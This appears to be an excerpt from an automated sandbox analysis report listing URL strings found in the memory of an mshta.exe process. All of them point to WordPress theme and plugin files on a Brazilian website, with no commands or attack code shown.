Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png.
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png5501425981.pngn.js.3.0
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngt
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20lC:
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png_bg4.jpgtrap.min.js?ver=2.3.0GH
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.21
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2a
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2woC:
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 0000000A.00000003.586809923.00000000076B1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586983840.00000000076B6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586920351.00000000076B3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.710748204.00000000076B7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586713339.00000000076B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/t
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517926370.000000000E528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560610988.0000000006A1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517868649.000000000E528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705438644.0000000006A27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562424363.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517926370.000000000E528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560610988.0000000006A1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517868649.000000000E528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.596609960.00000000073A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.596575801.00000000073A3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.596480789.000000000739C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705438644.0000000006A27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.596525694.000000000739D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562424363.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708963759.00000000073AA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516959595.000000000BFF8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516286879.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713790260.000000000C0E4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0C:
Source: mshta.exe, 0000000A.00000003.516959595.000000000BFF8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0JG
Source: mshta.exe, 0000000A.00000003.516959595.000000000BFF8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0UG
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3)
Source: mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3m.brC:
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Source: mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngFb
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.mi&
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4#
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4A
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4H
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4u
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0.cU
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517330404.000000000C018000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.02y
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0C:
Source: mshta.exe, 0000000A.00000002.707090329.0000000006EA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0x
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0R
Source: mshta.exe, 0000000A.00000003.576554698.000000000C106000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.555363098.000000000C106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0WWC:
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0veLMEM
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.707090329.0000000006EA0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0C:
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0X8
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0s74
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0ttpG
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0/
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.04FK
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0Hp
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0g
Source: mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 0000000A.00000002.705082305.0000000006956000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.557484334.0000000006956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0js
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0t
Source: mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.27
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.29h
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2LMEM
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2s
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2y
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-l
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516286879.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575506481.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701182153.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.10
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1=
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1e
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
